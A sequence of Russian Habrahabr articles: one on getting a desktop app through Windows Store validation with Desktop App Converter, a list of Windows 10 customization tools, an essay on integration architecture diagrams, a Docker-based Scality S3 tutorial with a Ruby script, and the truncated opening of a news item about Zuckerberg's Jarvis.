Не так давно мы опубликовали разработанное нами корпоративное приложение для десктопов, которое дополняет функционал Skype for Business. Например, может «по-человечески» сохранять историю переписки, как это делают все «приличные» мессенджеры, умеет отправлять сообщения в оффлайн, позволяет упорядочить контакты и ещё много всего, чего не хватало в Skype for Business. И когда появилась возможность поделиться приложением с помощью Windows Store, мы решили этой возможностью воспользоваться. В статье мы расскажем, как это происходило и чего нам это стоило. Про сам процесс разработки и про то, чего нам стоила идея работы со SfB в режиме Suppression Mode (подавление SfB), читайте здесь . EasyLy разрабатывался как настольное приложение WPF & Lync SDK для Windows, и конечно же, мы стремились поделиться своей разработкой со всем миром. Публикация «классических» десктопных приложений (без метро-интефейса) стала доступна не так давно, опыта у нас совсем не было, поэтому мы начали изучать, как загрузить наше приложение в Windows Store. Начало Вся суть заключалась в том, чтобы с помощью Desktop Application Converter преобразовать приложение в AppX пакет для UWP (Universal Windows Platform), чтобы затем его можно было загрузить в Windows Store. Нужно заметить, что не любое настольное приложение можно разместить в магазине. Оно должно удовлетворять требованиям, описанным в этой статье . Для самого процесса конвертирования необходима ОС “Юбилейное обновление Windows 10 Pro” или “Корпоративная” (10.0.14393.0 и более поздней версии) x64. Также нужно будет установить Microsoft Windows 10 SDK . А перед работой с конвертером понадобится скачать один из базовых образов Windows 10 . ВАЖНО: Версия билда операционной системы должна в точности совпадать с версией образа BaseImage-xxxxx.wim. После прочтения статьи о том, как работать с конвертером , мы разработали систему скриптов для Command Prompt и Power Shell, которые генерировали AppxManifest.xml и конечный пакет AppX. И вот, наконец, всё было готово для загрузки EasyLy.appx в Windows Store. Честно говоря, мы не рассчитывали на то, что процесс размещения приложения окажется так растянут по времени, но в общей сложности у нас на это ушло примерно два месяца. Мы также не ожидали, что впереди нас будут ждать странные ошибки, с которыми придётся бороться совместно с сотрудниками Microsoft. Эмоции команды были на переделе, но всё же нам это удалось. О том, что это были за ошибки и как мы их устраняли, читайте ниже. Ошибка, и не одна. При первой попытке публикации в Windows Store мы получили четыре ошибки. Package acceptance validation error: We don’t allow the capability you’ve specified: runFullTrust. Package acceptance validation error: The PublisherDisplayName element in the app manifest of EasyLy.signed.appx is GROVETY, INC, which doesn't match your publisher display name: GROVETY INC. Package acceptance validation error: Apps are not allowed to have a Version with a revision number other than zero specified in the app manifest. The package EasyLy.signed.appx specifies 1.61.6088.26940. Package acceptance validation error: You don't have permissions to specify the following namespaces in the appx manifest file of the package EasyLy.signed.appx: schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities Мы исправили ошибку №3 с версией. Оказалось, что запрещено иметь ревизию версии (последний разряд версии), отличную от нуля (major.minor[.build[.revision]]). Что ж, это было несложно. Было: DesktopAppConverter.exe … -Version 1.61.6088.26940 Стало: DesktopAppConverter.exe … -Version 1.61. 6088.0 В дальнейшем мы отказались и от версии билда: DesktopAppConverter.exe … -Version 1.61.0.0 Оставались ещё три ошибки. 1. Package acceptance validation error: The PublisherDisplayName element in the app manifest of EasyLy.s.appx is GROVETY, INC, which doesn't match your publisher display name: GROVETY INC. 2. Package acceptance validation error: You don't have permissions to specify the following namespaces in the appx manifest file of the package EasyLy.s.appx: schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities 3. Package acceptance validation error: Your developer account doesn’t have permission to submit apps converted with the Desktop App Converter at this time. Была исправлена ошибка №1 с именем сертификата в AppxManifest.xml: Было: <PublisherDisplayName>GROVETY, INC</PublisherDisplayName> Стало: <PublisherDisplayName>GROVETY INC</PublisherDisplayName> Если честно, было странно, что это исправление сработало, и непонятно, с каким значением происходит сравнение имени сертификата, т.к. в свойствах AppX пакета в разделе “Цифровые подписи” имя сертификата было как раз с запятой, а к интерфейсу выкладывания в Windows Store разработчики доступа не имели (чтобы посмотреть, как там выглядит имя издателя и что оно вообще там присутствует), потому что публикация осуществлялась отделом маркетинга. После этого остались ошибки, которые говорили о какой-то проблеме, связанной с аккаунтом, через который было невозможно выложить AppX. 1. Package acceptance validation error: You don't have permissions to specify the following namespaces in the appx manifest file of the package EasyLy.s.appx: schemas.microsoft.com/appx/manifest/foundation/windows10/restrictedcapabilities 2. Package acceptance validation error: Your developer account doesn’t have permission to submit apps converted with the Desktop App Converter at this time. Что делать с этими ошибками нам подсказал один из авторов habrahabr'а — asommer . Как оказалось, все новые десктопные приложения требуют ручной валидации – и для этого нужно написать в техподдержку. Мы оставили заявку здесь , и уже через несколько дней с нами связался сотрудник Майкрософт. Поиск решения совместно с Майкрософт Мы собрали конференцию по Skype for Business, где рассказали, что EasyLy – это десктопное приложение, которое расширяет функционал Skype4B, например умеет сохранять историю диалогов. И по результатам встречи отправили APPX-файл с приложением для проверки. Также параллельно пришлось подписать ещё одно соглашение с Майкрософт — Centennial Early Adopter Program Addendum. Общение было затруднено тем, что сотрудники Майкрософт находились в Америке, и разница во времени составляла 10 часов. В результате – приходилось общаться поздно вечером, а ждать ответ на письма – сутки. Через некоторое время мы получили письмо от Майкрософт. У них возникли вопросы, как EasyLy интегрируется со Skype for Business. Им было необходимо удостовериться, что EasyLy сможет нормально работать со следующей версией Skype for Business. В общем, нужно было подготовить техническое описание на английском. При этом договорились, что если что-то останется неясным, то будем снова устраивать онлайн-митинг. К счастью, нашего описания оказалось достаточно, и сотрудник Майкрософт нас заверил, что процесс одобрения идет. Проверка на прочность Мы не ожидали, что в Microsoft ещё будут проводиться какие-то тесты над нашим приложением. Представитель Microsoft сообщил, что наше приложение утверждено для Windows Store, но не прошло CARE тест. К тому же, он указал на возможность воспользоваться дополнительными функциями API, доступными только для конвертируемых приложений. Из этих возможностей мы выбрали автозапуск при логине пользователя и добавили в AppxManifest.xml в элемент <Application> такой раздел: <Extensions> <desktop:Extension EntryPoint="Windows.FullTrustApplication" Executable="EasyLy.exe" Category="windows.startupTask"> <desktop:StartupTask DisplayName="EasyLy" Enabled="true" TaskId="GROVETYINC.EasyLyCorp.Startup"/> </desktop:Extension> </Extensions> Чуть подробнее о тесте CARE. Судя по отчёту прохождения, который они нам прислали, проверяются следующие вещи: Test for Drivers and Services (Drivers cannot be installed) Test for DDE Exec registry verbs (DDE Exec warning) Validate Appx Manifest (Application Identity Name can't be empty) Validate security policy settings (EXE can not request admin elevation, EXE can not request UIAccess) Validate PE integrity (PE Files must be validly signed) EasyLy провалился на втором пункте. Программа обращалась к нестандартным ключам реестра. Это было исправлено. Теперь, когда все проблемы были решены, мы предвкушали радость победы и долгожданной загрузки EasyLy в Windows Store. Но удача снова не была на нашей стороне и появились очередные ошибки: 1. Invalid package identity name: EasyLy (expected: GROVETYINC.EasyLyCorp). 2. Invalid package family name: EasyLy_04mzw0hspzxdg (expected: GROVETYINC.EasyLyCorp_8qq6gc35dw28r) 3. Invalid package publisher name: CN=”GROVETY, INC”, O=”GROVETY, INC”, L=Wilmington, S=”Delaware”, C=US (expected: CN=71A49F4D-5C79-40F1-A333-B79F06F50E03) 4. This package uses a display name that you have not reserved: EasyLy Такое ощущение, что компания Microsoft решила заботливо не сообщать о всех ошибках сразу, а выдавать их по частям, и каждую следующую часть показывать только после исправления всех ошибок в предыдущей. Оно, может, и правильно, потому что если бы мы увидели все ошибки сразу, вероятность того, что мы решили бы продолжать, была бы определенно меньше. Но теперь, когда половина пути была пройдена, отступать назад уже не хотелось. В Майкрософт ответили следующее: Непонятно, что это такое. Попробуйте исправить вначале остальные ошибки. Всё верно, регистрируемый пакет называется «GROVETYINC.EasyLyCorp_8qq6gc35dw28r». Уберите запятую из имени издателя. Имя регистрируемого приложения “EasyLy Corp”. Было: DesktopAppConverter.exe … -Publisher «CN=GROVETY» Стало: DesktopAppConverter.exe … -Publisher «CN=GROVETY INC» -PackageDisplayName «EasyLy Corp» -AppDisplayName «EasyLy» -AppExecutable «EasyLy.exe» После этих изменений ушла ошибка №4. Пытаясь устранить ошибку №1 добавили в параметры конвертера -PackageName «GROVETYINC.EasyLyCorp», но получили непонятную ошибку при конвертации: Error: PowerShell Error Record: Could not find a part of the path. PowerShell Stack Trace: at <ScriptBlock>, C:\Program Files\WindowsApps\Microsoft.DesktopAppConverter_1.0.1.0_x64__8wekyb3d8bbwe\DesktopAppConverter.ps1: line 719 at <ScriptBlock>, <No file>: line 1 Inner Exception[0]: System.IO.DirectoryNotFoundException: Could not find a part of the path. at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath) at System.IO.FileInfo.MoveTo(String destFileName) at Microsoft.PowerShell.Commands.FileSystemProvider.MoveFileInfoItem(FileInfo file, String destination, Boolean force, Boolean output) Inner Exception Stack Trace[0] at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath) at System.IO.FileInfo.MoveTo(String destFileName) at Microsoft.PowerShell.Commands.FileSystemProvider.MoveFileInfoItem(FileInfo file, String destination, Boolean force, Boolean output) Также опытным путём было замечено, что если PackageNamе имеет длину 19 символов или меньше, то ошибки не возникает, а имя GROVETYINC.EasyLyCorp имеет длину 21 символ. Пытаясь устранить ошибку №3 с сертификатом пробовали разные варианты: CN=«GROVETY INC» CN=«GROVETY INC», O=«GROVETY INC», L=Wilmington, S=Delaware, C=US CN=71A49F4D-5C79-40F1-A333-B79F06F50E03 (как указано в сообщении об ошибке) Но наш сертификат имеет именно такой вид: CN=«GROVETY, INC», O=«GROVETY, INC», L=Wilmington, S=Delaware, C=US, поэтому ожидаемо, что мы получали ошибку при подписывании: По поводу третьей ошибки Майкрософт сказали, что в Windows Store процесс подписывания автоматический и не нужно пытаться подписать AppX самим. Таким образом, ошибка №3 ушла. Насчёт ошибки №1 нам сообщили, что возможно, это баг конвертера, связанный с длиной параметра PackageName и предложили workaround: a. Укоротите PackageName насколько нужно и добавьте легко узнаваемы флаг, например, EasyLyChangeMe. b. Соберите appx пакет. c. Откройте пакет makeappx unpack /p “[appx path and file]” /d “[Unpack folder]” d. Вручную измените PackageName на GROVETYINC.EasyLyCorp. <Identity Name="xxxx" ProcessorArchitecture="x86" Publisher="CN=pppp" Version="1.0.0.0" /> В строке сверху в манифест файле атрибут Name должен совпадать со значением Name, на странице приложения в Windows Store в разделе APP management -> App Identity e. Пересоберите appx пакет. makeappx pack /p “[new appx path and file]” /d “[Unpack folder]” Следуя этому workaround мы решили наши проблемы. В конечном итоге строка с параметрами конвертера теперь выглядит так: DesktopAppConverter.exe -ExpandedBaseImage "C:\ProgramData\Microsoft\Windows\Images\baseImage-14393" -Installer "installer\easyly_v1.61_setup.exe" -Version 1.61.0.0 -InstallerArguments "/verysilent" -Destination "out" -PackageName "GROVETYINC.EasyLy" -PackageDisplayName "EasyLy Corp" -AppDisplayName "EasyLy" -AppExecutable "EasyLy.exe" -AppId "GROVETYINC.EasyLyCorp" -Publisher "CN=71A49F4D-5C79-40F1-A333-B79F06F50E03" -PackagePublisherDisplayName "CN=GROVETY INC" -Verbose Счастливый конец В результате всех этих действий мы получили пакет, который прошёл валидацию! И — ура! Можно было отправить наш EasyLy в магазин. А дальше всё было просто – заполнить необходимую информацию, загрузить скриншоты и проставить сумму, которую мы хотим получать за продукт, и, через несколько суток, он появился в магазине.
https://habrahabr.ru/post/318072/
habrahabr
Лучшие бесплатные приложения для настройки и оформления Windows 10
['windows 10', 'приложения для windows 10', 'оформление windows 10', 'настройка windows 10']
Мы подобрали для вас десять приложений для Windows 10, которые помогут настроить новую версию ОС под себя и сделать ее более гибкой и удобной. Некоторые из приложений позволяют вернуть функции...
Мы подобрали для вас десять приложений для Windows 10, которые помогут настроить новую версию ОС под себя и сделать ее более гибкой и удобной. Некоторые из приложений позволяют вернуть функции прошлых версий Windows, а с помощью других вы сможете кастомизировать ОС согласно собственным предпочтениям. И что самое приятное – все эти приложения бесплатные! 1. Classic Shell Для приверженцев традиций: пользователям, которым просто не нравится новое меню «Пуск» с плитками и приложениями, следует скачать программу Classic Shell. Эта программа возвращает классическое меню «Пуск» без плиток. 2. GadgetPack Вам кажется, что на вашем экране не хватает утилит, таких как часы, календарь или погода? В Windows 10 такие гаджеты отсутствуют. Приложение GadgetPack – это именно то, что вам нужно, если вы не можете без четко организованных помощников рабочего стола. После установки вам нужно будет лишь взглянуть на экран, чтобы решить, стоит ли сегодня брать с собой зонтик. 3. WinFlip Любителям различных «фишек» следует взять на заметку приложение WinFlip, которое позволяет настроить Windows 10 по собственному усмотрению. Это приложение позволяет управлять всеми открытыми окнами посредством объемного вида. Просто нажмите Shift, удерживая клавишу с логотипом Windows (вам потребуется графический драйвер, отличный от VGA, также необходимо активировать тему Aero Glass). 4. Clover В Windows 10 также может быть открыта только одна папка. Функция «Вкладка», использующаяся в браузерах для быстрого и простого переключения между папками, отсутствует. Приложение Clover помогает разрешить эту проблему путем установки вкладок прямо вверху диспетчера файлов. 5. Win+X Menu Editor Щелчком правой кнопкой мыши на кнопку «Пуск» открывается меню быстрого доступа к функциям, таким как командная строка или мгновенный доступ к панели управления. На самом деле это очень удобно, если не брать во внимание то, что защитные механизмы не позволяют менять оформление меню быстрого доступа. Но есть хорошая новость для индивидуалистов: приложение Win+X Menu Editor позволяет добавлять, удалять или переименовывать пункты меню. 6. Shortcut Overlay Remover В новой операционной системе также используются ярлыки со ссылками к неоригинальным файлам ЕХЕ. Такие ссылки можно удалить, но это трудоемкий процесс, занимающий много времени. Но для эстетов есть решение. Приложение Shortcut Overlay Remover, автоматически удалит стрелки на ярлыках, и ваш рабочий стол будет выглядеть аккуратно. 7. Taskbar Thumbnail Tweaker & Resizer Некоторым пользователям не нравится, что эскизы на панели задач слишком маленькие. Рассмотреть скрытое содержание в открытых окнах просто невозможно. Приложение Taskbar Thumbnail Tweaker & Resizer поможет навсегда избавиться от этой проблемы. С помощью данной программы можно по собственному усмотрению увеличить предварительный просмотр панели задач Windows. 8. DisplayFusion Коллекция обоев для Windows 10 для некоторых может быть немного тяжеловата своими стандартными мотивами. Приложение DisplayFusion поможет оживить ваш рабочий стол. Этот инструмент позволяет загружать свои любимые изображения из Flickr, Instagram или Facebook, а также интегрировать поиск Google или Bing на рабочий стол. 9. MoveToDesktop Внедрение виртуальных рабочих столов – одно из наиболее важных нововведений в Windows 10. Они предназначены для упорядочивания открытых окон. Приложение MoveToDesktop позволяет управлять виртуальными рабочими столами. В открытых приложениях дополнительная функция в меню правой кнопки мыши в заголовке окна обеспечивает простой способ перемещения программ с одного рабочего стола на другой рабочий стол. 10. PDF-XChange Viewer Windows 10 открывает PDF-файлы в браузере Edge. Однако Edge позволяет только просматривать документы, не более того. Приложение PDF-XChange Viewer – это удобный способ индивидуальной настройки Windows 10 путем добавления поиска и адаптации возможностей дизайна, наряду с контролем ОЗУ, созданием закладок и возможностью оставлять комментарии.
https://habrahabr.ru/company/comparex/blog/318078/
habrahabr
Визуализация интеграционных приложений
['распределенные системы', 'визуализация данных', 'soa', 'программное обеспечение', 'экстремальное программирование', 'devops', 'uml', 'SSD-диаграммы']
С тех пор как я начал выполнять обязанности системного архитектора, мне чаще приходится рисовать прямоугольники и стрелки, чем писать программный код. С этим можно было бы бороться, например,...
С тех пор как я начал выполнять обязанности системного архитектора, мне чаще приходится рисовать прямоугольники и стрелки, чем писать программный код. С этим можно было бы бороться, например, бессонными ночами участвовать в проектах с открытым исходным кодом, создавать подтверждения осуществимости концепции и демонстрационный код, но и там тоже нужно рисовать прямоугольники, чтобы продемонстрировать архитектуру. Эта статья посвящена визуализации обмена сообщениями в распределенных системах, сервис-ориентированной архитектуре (SOA) и микросервисным приложениям при использовании методологии разработки agile (этот термин потерял свое значение, но более подходящего в данном случае нет). Что мне нравится в сфере программного обеспечения в последние годы, так это то, что в большинстве организаций, в которых я работал, ценятся принципы бережливой и гибкой методологии разработки ПО. Все стремятся создавать готовое программное обеспечение (а не документацию), быстро выдавать результат (а не заниматься долгим планированием), исключить потери и реагировать на изменения. Для реализации этих принципов используются такие методы управления, как Scrum, «канбан» и технические методы, позаимствованные из методологии экстремального программирования (например, модульное тестирование и парное программирование), а также методы CI/CD и DevOps. В общем, я решил собрать в одном месте схемы и инструменты проектирования, которые я использую в своей повседневной работе с распределенными системами. Проблемы модели представлений «4+1» и «смерть от UML» Каждый проект сопровождается на старте большими амбициями, но каждый раз не хватает времени на то, чтобы все довести до совершенства, и в итоге приходится выдавать что-то, что более-менее работает. И это хорошо — таким образом окружающий мир помогает нам избегать украшательства и соблюдать такие принципы, как YAGNI и KISS. В результате мы выполняем необходимый минимум и адаптируемся к изменениям. Большинство схем, которые я встречал, были основаны на модели представлений «4+1» Филиппа Крачтена, которая имеет представление разработки, процесса, а также логическое и физическое представление. Модель представлений «4+1». Изображение взято из книги Практическое руководство по архитектуре предприятия (A Practical Guide to Enterprise Architecture), авторы: Джеймс МакГаверн, Скотт В. Амблер, Майкл Е. Стивенс, Джеймс Линн, Викас Шаран, Элияс К. Джо, 2003 год. Мне очень нравятся идеи и цели, заложенные в основу этой модели: использование отдельных представлений и точек зрения для рассмотрения определенных ограничений и позиционирование для разных участников. Эта модель отлично подходит для описания сложных программных архитектур, но когда я использую ее для интеграционных приложений, я сталкиваюсь с двумя проблемами. Применимость диаграмм Как правило, эти представления описываются с помощью унифицированного языка моделирования (unified modeling language, UML), и для каждого представления требуется создавать одну или несколько UML-диаграмм. Если мне нужно создать 15 типов UML-диаграмм, чтобы описать и доступно объяснить архитектуру системы, то это противоречит предназначению UML. Death by UML (Смерть от UML). Фрагменты диаграммы Пауло Мерсона из Википедии . Скорее всего, в организации найдутся лишь один–два человека, имеющих инструменты для создания столь сложного набора диаграмм и способных понимать и обновлять их. Неудобные для восприятия и утратившие актуальность диаграммы не более полезны, чем устаревшая документация. Сложные диаграммы, которые не несут в себе большой ценности, быстро становятся обузой, а не ценными документами, описывающими текущее состояние постоянно меняющейся системы. Еще один недостаток существующих UML-диаграмм заключается в том, что они описывают в первую очередь объектно-ориентированные архитектуры, а не архитектуры на основе каналов и фильтров. В приложениях для обмена сообщениями главную роль играет не структура, а методы взаимодействия между элементами, маршрутизация и потоки данных. Диаграммы классов объектов, компонентов, пакетов и др. — это далеко не эффективная форма описания процессов обработки на основе каналов и фильтров. Диаграммы поведения UML (например, диаграммы активности и последовательности) более содержательны, но также не позволяют легко описывать основные концепции интеграционных приложений, такие как фильтрация и маршрутизация с учетом содержимого. Применимость представлений Представления, отражающие различные аспекты системы, — отличная форма описания ее концепции, однако существующие представления модели «4+1» не соответствуют практике разработки и развертывания современного программного обеспечения. Идея направленного потока — когда сначала создается логическое представление, затем вытекающие из него представления разработки и процессов, а в конце и соответствующее физическое представление не всегда согласуется с действительностью. Жизненный цикл разработки систем отличается от традиционной (водопадной) последовательности сбора требований, проектирования, реализации и сопровождения. Жизненный цикл разработки программного обеспечения. Фрагмент рисунка Web Serv . На практике используются альтернативные подходы к разработке, в том числе гибкая методология, прототипирование, «синхронизация и стабилизация» и «выброс и стабилизация». С течением времени меняется не только процесс разработки, но и его участники. При использовании таких методик, как DevOps, разработчики должны знать конечную модель физического развертывания, а специалисты по эксплуатации — маршруты обработки приложений. Современные архитектуры (например, микрослужбы) также влияют на представления. С одной стороны, количество микрослужб так велико, что знание одной из них не приносит большой пользы; с другой стороны, общие знания о микрослужбах трудно применить на практике. Крайне важно выбирать подходящий уровень абстракции, на котором общие представления о системе сочетаются с достаточно подробной информацией о ней. Средства визуализации интеграционных приложений Самая полезная, с моей точки зрения, модель описана Саймоном Брауном и носит название модель C4 (я советую скачать бесплатную копию отличной книги Саймона «Искусство визуализации архитектуры программного обеспечения» ( The Art of Visualising Software Architecture )). Описывая свою модель, Саймон отмечает важность наличия единого набора абстракций, а не общей нотации (например, UML), и использования небольшого набора диаграмм для создания абстракций различного уровня: контекста системы, контейнеров, компонентов и классов. Этот подход нравится мне тем, что предполагает движение от общего к частному, начиная с самого общего представления с его последующей детализацией на каждом новом уровне. Модель C4 не всегда идеально подходит для создания связующего программного обеспечения и интеграции приложений, однако более эффективна, чем предыдущие. Если бы мы воспользовались ей, то диаграмма контекста системы представляла бы собой один прямоугольник с надписью «сервисная шина предприятия», «связующее ПО», «коммуникационное связующее ПО» или «микрослужбы» с десятками стрелок, расходящихся во все стороны. Не слишком полезно, не правда ли? Контейнерная диаграмма более удобна, но термин «контейнер» настолько перегружен различными смыслами («контейнер виртуальной машины», «контейнер приложения», «контейнер докера»), что ценность его использования в коммуникативных целях невелика. Диаграммы компонентов и классов также не являются хорошим выбором, поскольку каналы и фильтры основаны на шаблонах интеграции предприятия, а не на классах и пакетах. Возникает вопрос: какие же диаграммы использовать? Я использую три типа диаграмм, которые обозначаются аббревиатурой SSD (хотя она звучит не так здорово, как C4): контекста системы (system context), структуры службы (service design) и развертывания (deployment). Диаграмма контекста системы На этой модели отображаются все службы (как SOA, так и микрослужбы) со входами и выходами. Как правило, внешние системы располагаются в верхней части модели, службы — в середине, а внутренние службы — в нижней части. Иногда внутренние и внешние службы располагаются частично над промежуточным уровнем, а частично и под ним, как показано на рисунке ниже. Рядом со стрелками также полезно (хотя и необязательно) указывать протоколы (например, HTTP, JMS, файловый) и форматы данных (XML, JSON, CSV). Если количество служб велико, то протоколы и форматы данных можно указывать на диаграммах уровня служб. С помощью стрелок я показываю службы, инициирующие запросы, а не направления потоков данных. Диаграмма контекста системы Эта диаграмма дает хорошее общее представление о структуре распределенной системы: ее службах, внутренних и внешних связях, типах взаимодействий (с протоколами и форматами данных) и их инициаторах. Диаграмма структуры службы Эта диаграмма показывает, что происходит в каждом из прямоугольников, соответствующих связующим службам на диаграмме контекста системы. Для создания этой диаграммы рекомендуется использовать EIP-значки и соединять их между собой потоками сообщений. Служба может иметь множество потоков данных, поддерживать различные протоколы, а также реализовывать механизмы реального времени и пакетной обработки. Диаграмма структуры службы Диаграмма развертывания Две предыдущие диаграммы являются логическими представлениями системы в целом и каждой из ее служб в отдельности. На диаграммах развертывания отображаются места развертывания каждой службы. Экземпляры одной службы могут выполняться на различных узлах; службы могут находиться в активном состоянии на одних узлах и в пассивном состоянии на других узлах. Иногда службы работают под управлением балансировщика нагрузки. Диаграмма развертывания Диаграмма развертывания показывает, как отдельные службы и система в целом относятся к узлам (физическим и виртуальным). Советы по выбору инструментов Диаграммы контекста системы и развертывания состоят только из прямоугольников и стрелок; для их создания не нужны специальные инструменты. Для создания диаграммы структуры службы вам понадобится инструмент с функцией интеграции EIP-значков. На текущий момент мне известны следующие инструменты с поддержкой EIP-значков: Mac OS: OmniGraffle со значками graffletopia . С помощью этого инструмента я создал все диаграммы для книги Шаблоны проектирования Camel ( Camel Design Patterns ); Windows: Enterprise Architect компании Sparx Systems с EIP-значками Харальда Вестфала . Кроме того, здесь находятся шаблоны MS Visio; • Интернет: LucidCharts , в состав которого по умолчанию включены EIP-значки. Этот инструмент наиболее прост в использовании и доступен в любом месте. Кроме того, имеется ряд других средств разработки, с помощью которых можно создавать EIP-диаграммы: Red Hat JBoss Developer Studio ; EIP Designer компании Sirius ; Talend Open Studio для ESB ; Hawtio , подключаемый модуль для Camel, который может отображать выполняемые маршруты Camel в виде EIP-диаграмм. Диаграмма контекста системы наглядно отображает общую структуру системы и охват ее служб; диаграмма структуры службы хорошо описывает функционирование службы, а диаграмма развертывания полезна при проектировании физической реализации содержимого двух предыдущих диаграмм. ИТ-специалисты умеют находить себе задачи, занимающие все их рабочее время. Я уверен, что если бы у нас было больше времени, то мы бы придумали еще десяток полезных представлений, однако без этих трех мы не смогли бы описать приложение для интеграции. Как когда-то сказал Антуан де Сент-Экзюпери: «Совершенство достигается не тогда, когда нечего добавить, а тогда, когда нечего убрать».
https://habrahabr.ru/company/icl_services/blog/318084/
habrahabr
Создайте свой сервер AWS S3 с открытым кодом
['amazon', 'amazon web services', 'aws', 's3', 'simple storage service', 'aws s3', 'aws sdk', 'aws api', 'ruby', 'docker', 'container', 'web', 'storage', 'service', 'server', 'tier', 'instance', 'fake s3', 'hpe helion eucalyptus', 'cloudformation', 'cloudwatch', 'elb', 'scality s3', 's3server', 'bucket', 'sdk', 'api', 'library', 'script', 'open source', 'linux', 'nix', 'big data', 'nodejs', 'node.js']
Amazon S3 (Simple Storage Service, сервис простого хранилища) — очень мощный онлайн сервис файлового хранилища, предоставляемого Amazon Web Services. Думайте о нем, как об удаленном диске, на...
Amazon S3 (Simple Storage Service, сервис простого хранилища) — очень мощный онлайн сервис файлового хранилища, предоставляемого Amazon Web Services. Думайте о нем, как об удаленном диске, на котором вы можете хранить файлы в директориях, получать и удалять их. Компании, такие как DropBox, Netflix, Pinterest, Slideshare, Tumblr и многие другие, полагаются на него. Хоть сервис и отличный, его код не открыт, поэтому вы должны доверять Amazon свои данные, и хоть они предоставляют доступ к бесплатному инстансу на год, вы все равно должны ввести информацию о кредитной карте для создания аккаунта. Т.к. S3 должен знать каждый инженер-программист, я хочу, чтобы мои студенты приобрели опыт работы с ним и использовали его в своих веб-приложениях, и еще я не хочу, чтобы они за это платили. Некоторые студенты также работают во время поездок, что означает медленное Интернет-соединение и дорогой трафик, либо вообще полное отсутствие Интернета. Вот почему я начал искать открытые решения, которые бы эмулировали S3 API, и которые могли бы работать на любой машине. Как обычно, мир Open Source не разочаровал меня и предоставил несколько решений, вот мои любимые: Первое, на что я наткнулся, было Fake S3 , написанное на Ruby и доступное как гем, требуется всего несколько секунд для установки и библиотека очень хорошо поддерживается. Это отличный инструмент, чтобы начать, но он не реализует все команды S3 и не подходит для использования в продакшене. Второй вариант — это HPE Helion Eucalyptus , который предоставляет широкий спектр эмуляции сервисов AWS (CloudFormation, Cloudwatch, ELB...), включая поддержку S3 . Это весьма законченное решение (только работающее на CentOS), ориентированное на энтерпрайз и, к сожалению, слишком тяжеловесное для личного использования или для малого бизнеса. Последний и предпочитаемый мною вариант — это сервер Scality S3 . Доступен в виде Docker-образа, что очень легко позволяет его развернуть и начать использовать. Программное обеспечение подходит для личного использования, каждый может начать использовать его через несколько секунд без какой-либо сложной установки. Но оно также подходит и для энтерпрайза, т.к. оно масштабируемо и готово к продакшену. Лучшее из двух миров. Начинаем работу с сервером Scality S3 Чтобы продемонстрировать насколько просто эмулировать AWS S3 с помощью сервера Scality S3, давайте его оживим! Требования: Установленный Docker Установленный Ruby Запустите Docker-контейнер сервера Scality S3: $ docker run -d --name s3server -p 8000:8000 scality/s3server Unable to find image 'scality/s3server:latest' locally latest: Pulling from scality/s3server 357ea8c3d80b: Pull complete 52befadefd24: Pull complete 3c0732d5313c: Pull complete ceb711c7e301: Pull complete 868b1d0e2aad: Pull complete 3a438db159a5: Pull complete 38d1470647f9: Pull complete 4d005fb96ed5: Pull complete a385ffd009d5: Pull complete Digest: sha256:4fe4e10cdb88da8d3c57e2f674114423ce4fbc57755dc4490d72bc23fe27409e Status: Downloaded newer image for scality/s3server:latest 7c61434e5223d614a0739aaa61edf21763354592ba3cc5267946e9995902dc18 $ Убедитесь, что Docker-контейнер исправно работает: $ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES ed54e677b1b3 scality/s3server "npm start" 5 days ago Up 5 days 0.0.0.0:8000->8000/tcp s3server Установите Ruby-гем AWS SDK v2 (документация здесь ): $ gem install aws-sdk Теперь давайте создадим файл, который мы загрузим в нашу корзину: $ touch myfavoritefile Используя ваш любимый текстовый редактор, создайте файл, содержащий ваш скрипт на Ruby, давайте назовем его ‘s3_script.rb’: #!/usr/bin/ruby require 'aws-sdk' s3 = Aws::S3::Client.new( :access_key_id => 'accessKey1', :secret_access_key => 'verySecretKey1', :region => 'us-west-2', :endpoint => 'http://0.0.0.0:8000/', :force_path_style => true ) s3.create_bucket({bucket: "mybucket"}) File.open('myfavoritefile', 'rb') do |file| s3.put_object(bucket: 'mybucket', key: 'myfavoritefile', body: file) end resp = s3.list_objects_v2(bucket: 'mybucket') puts resp.contents.map(&:key) Запустите скрипт: $ ruby s3_script.rb $ myfavoritefile Поздравляю, вы создали вашу первую S3-корзину и загрузили в нее файл! Давайте разберем код Здесь мы указываем, что скрипт должен быть выполнен Ruby и что мы подключаем библиотеку AWS SDK : #!/usr/bin/ruby require 'aws-sdk' Мы инициируем подключение к нашему серверу S3, работающему в нашем Docker-контейнере. Заметьте, что ‘accessKey1’ и ‘verySecretKey1’ — ключ доступа и ключ секретного доступа по умолчанию, определяемые сервером Scality S3: s3 = Aws::S3::Client.new( :access_key_id => 'accessKey1', :secret_access_key => 'verySecretKey1', :region => 'us-west-2', :endpoint => 'http://127.0.0.1:8000/', :force_path_style => true ) Создаем S3-корзину с именем ‘mybucket’: s3.create_bucket({bucket: "mybucket"}) Здесь мы загружаем в нашу корзину ‘mybucket’ ранее созданный файл ‘myfavoritefile’: File.open('myfavoritefile', 'rb') do |file| s3.put_object(bucket: 'mybucket', key: 'myfavoritefile', body: file) end И наконец, собираем содержимое корзины ‘mybucket’ и отображаем его в стандартном выводе: resp = s3.list_objects_v2(bucket: “mybucket”) puts resp.contents.map(&:key)
https://habrahabr.ru/post/318086/
habrahabr
Марк Цукерберг рассказал о своем AI-помощнике Jarvis
['ИИ', 'Alexa', 'amazon', 'код', 'программирование', 'Python', 'Objective C', 'PHP', 'Facebook', 'Цукерберг', 'Джарвис', 'Jarvis']
Вчера Марк Цукерберг рассказал об итогах своего личного проекта, который он запланировал для себя на 2016 год. Целью основателя Facebook было создание функционального AI-помощника с голосовым...
